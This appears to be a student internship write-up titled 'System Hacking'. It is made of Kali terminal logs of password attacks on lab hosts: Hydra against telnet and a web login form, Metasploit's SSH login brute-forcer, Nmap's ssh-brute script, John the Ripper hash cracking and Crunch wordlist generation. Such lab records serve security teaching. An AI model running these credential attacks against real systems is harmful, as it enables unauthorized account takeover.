

# Internship Project System Hacking:

By- Mayank Singh Tomar (tomarm698@gmail.com)

## 1. HYDRA

```
(mayank_201b153_kali@DESKTOP-5QE9N93)-[~]
$ hydra -L username.txt -P password.txt telnet://172.21.193.211
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-28 12:58:15
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if a
vailable
[DATA] max 16 tasks per 1 server, overall 16 tasks, 56 login tries (l:8/p:7), ~4 tries per task
[DATA] attacking telnet://172.21.193.211:23/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-28 12:58:48
```

```
(mayank_201b153_kali@DESKTOP-5QE9N93)-[~]
$ hydra -l admin -P rockyou.txt 192.168.1.101 http-post-form '/dwa/login.php:username="USER"&password="PASS"&Login=Login:Login failed' -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-01 18:52:43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.101:80/dwa/login.php:username="USER"&password="PASS"&Login=Login:Login failed
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "password" - 4 of 14344398 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "iloveyou" - 5 of 14344398 [child 4] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "princess" - 6 of 14344398 [child 5] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "1234567" - 7 of 14344398 [child 6] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "rockyou" - 8 of 14344398 [child 7] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "12345678" - 9 of 14344398 [child 8] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "abc123" - 10 of 14344398 [child 9] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "nicole" - 11 of 14344398 [child 10] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "daniel" - 12 of 14344398 [child 11] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "babygirl" - 13 of 14344398 [child 12] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "monkey" - 14 of 14344398 [child 13] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "lovely" - 15 of 14344398 [child 14] (0/0)
[ATTEMPT] target 192.168.1.101 - login "admin" - pass "jessica" - 16 of 14344398 [child 15] (0/0)
```

## 2.Auxiliary Module

```
(mayank_201b153_kali@DESKTOP-5QE9N93)-[~]
$ msfconsole

To use retry middleware with Faraday v2.0+, install `faraday-retry` gem


;lx00kXXxK8Oxl;.
,o9wMMMMMMMMMMMMMMMMMMMd,
'xNNNNNNNNNNNNNNNNNNNNNNNNNNMwx,
:kNNNNNNNNNNNNNNNNNNNNNNNNNNNMxx:
.kNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNx,
lwNNNNNNNNNNNNNNxd:... ..;dkNNNNNNNNNNMo
xNNNNNNNNNNMMd.. .oNNNNNNNNNNkk
ommmmmmmmX.. dnnnnnnnnnmX
.wNNNNNNNNM: ;NNNNNNNNn,
xNNNNNNNNMo lwNNNNNNNNMO
NNNNNNNNMW ,cccccNNNNNNNNNWlcccc;
NNNNNNNNMX ;kNNNNNNNNNNNNNNNNNNNX;
NNNNNNNNMW. ;kNNNNNNNNNNNNNNNNX;
xNNNNNNNNNd ,ONNNNNNNNNKK;
.WNNNNNNNNMc 'OMNNNNNN,
.lNNNNNNNNMK. .kmo'
.dNNNNNNNNMMd*
.cWNNNNNNNNNNNNxc'. #####
.oNNNNNNNNNNNNNNNNNNnwC #++ ++#
;ONNNNNNNNNNNNNNNMo +:+
.dNNNNNNNNNNNNNNMo ++++:+++
'oOWNNNNNNNNMo ++:#
.,cdkOOK; :+; :+;
:::~::~+:

Metasploit

=[ metasploit v6.2.1-dev ]
+ -- ==[ 2225 exploits - 1171 auxiliary - 398 post ]
+ -- ==[ 864 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE username.txt
USER_FILE => username.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE password.txt
PASS_FILE => password.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.21.193.211
RHOSTS => 172.21.193.211
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 172.21.193.211:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

### 3. NSE scripts

```
(mayank_201b153_kali@DESKTOP-5QE9N93)~[~]
$ cd /usr/share/nmap/scripts

(mayank_201b153_kali@DESKTOP-5QE9N93)~/usr/share/nmap/scripts
$ ls -l | grep ssh
-rw-r--r-- 1 root root 5391 Jan 18 20:24 ssh2-enum-algos.nse
-rw-r--r-- 1 root root 1200 Jan 18 20:24 ssh-auth-methods.nse
-rw-r--r-- 1 root root 3045 Jan 18 20:24 ssh-brute.nse
-rw-r--r-- 1 root root 16036 Jan 18 20:24 ssh-hostkey.nse
-rw-r--r-- 1 root root 5948 Jan 18 20:24 ssh-publickey-acceptance.nse
-rw-r--r-- 1 root root 3781 Jan 18 20:24 ssh-run.nse
-rw-r--r-- 1 root root 1423 Jan 18 20:24 shh1.nse

(mayank_201b153_kali@DESKTOP-5QE9N93)~/usr/share/nmap/scripts
$ nmap --script ssh-brute.nse -p 22 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 12:31 IST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 5.20 seconds

(mayank_201b153_kali@DESKTOP-5QE9N93)~/usr/share/nmap/scripts
$ nmap --script ssh-brute.nse -p 22 192.168.29.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 12:32 IST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 4.89 seconds

(mayank_201b153_kali@DESKTOP-5QE9N93)~/usr/share/nmap/scripts
$ nmap -Pn --script ssh-brute.nse -p 22 192.168.29.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 12:32 IST
Nmap scan report for 192.168.29.40
Host is up.

PORT      STATE      SERVICE
22/tcp    filtered  ssh

Nmap done: 1 IP address (1 host up) scanned in 16.56 seconds
```

```
(mayank_201b153_kali@DESKTOP-5QE9N93)~/usr/share/nmap/scripts
$ sudo nmap -Pn --script ssh-brute.nse -p 22 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 11:15 IST
Nmap scan report for 172.17.0.2
Host is up.

PORT      STATE      SERVICE
22/tcp    filtered  ssh

Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds
```



## 4. John the ripper

```
(mayank_201b153_kali@DESKTOP-5QE9N93)~$ john --format=crypt hashpass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:16:36 51.18% 2/3 (ETA: 12:37:25) 0g/s 99.34p/s 99.34c/s 99.34C/s spenceR..fletcheR
0g 0:00:16:37 51.23% 2/3 (ETA: 12:37:25) 0g/s 99.34p/s 99.34c/s 99.34C/s fluffy..picklE
0g 0:00:16:41 51.44% 2/3 (ETA: 12:37:24) 0g/s 99.36p/s 99.36c/s 99.36C/s marathoN..shantI
0g 0:00:16:42 51.50% 2/3 (ETA: 12:37:23) 0g/s 99.36p/s 99.36c/s 99.36C/s sharK..sunshinE
0g 0:00:16:43 51.55% 2/3 (ETA: 12:37:23) 0g/s 99.37p/s 99.37c/s 99.37C/s supermaN..byroN
0g 0:00:16:44 51.60% 2/3 (ETA: 12:37:23) 0g/s 99.38p/s 99.38c/s 99.38C/s calendaR..elissA
0g 0:00:16:46 51.70% 2/3 (ETA: 12:37:23) 0g/s 99.36p/s 99.36c/s 99.36C/s italiA..mermaid
0g 0:00:16:47 51.76% 2/3 (ETA: 12:37:23) 0g/s 99.36p/s 99.36c/s 99.36C/s miamI..racoon
0g 0:00:16:48 51.81% 2/3 (ETA: 12:37:23) 0g/s 99.37p/s 99.37c/s 99.37C/s rambO..suckmE
0g 0:00:16:49 51.92% 2/3 (ETA: 12:37:22) 0g/s 99.38p/s 99.38c/s 99.38C/s bernardD..trinityY
0g 0:00:17:02 52.70% 2/3 (ETA: 12:37:17) 0g/s 99.36p/s 99.36c/s 99.36C/s testI..2hockey
```

## 5. Password generating using CRUNCH

```
(mayank_201b153_kali@DESKTOP-5QE9N93)~$ crunch 6 6 0123456789@@@@ -o crunchpassfile2.txt
Crunch will now generate the following amount of data: 12400927 bytes
11 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1771561
crunch: 100% completed generating output
```

```
(mayank_201b153_kali@DESKTOP-5QE9N93)~$ crunch 4 4 -t ,@^% -o crunchpassfile.txt
Crunch will now generate the following amount of data: 1115400 bytes
1 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 223080
crunch: 100% completed generating output
```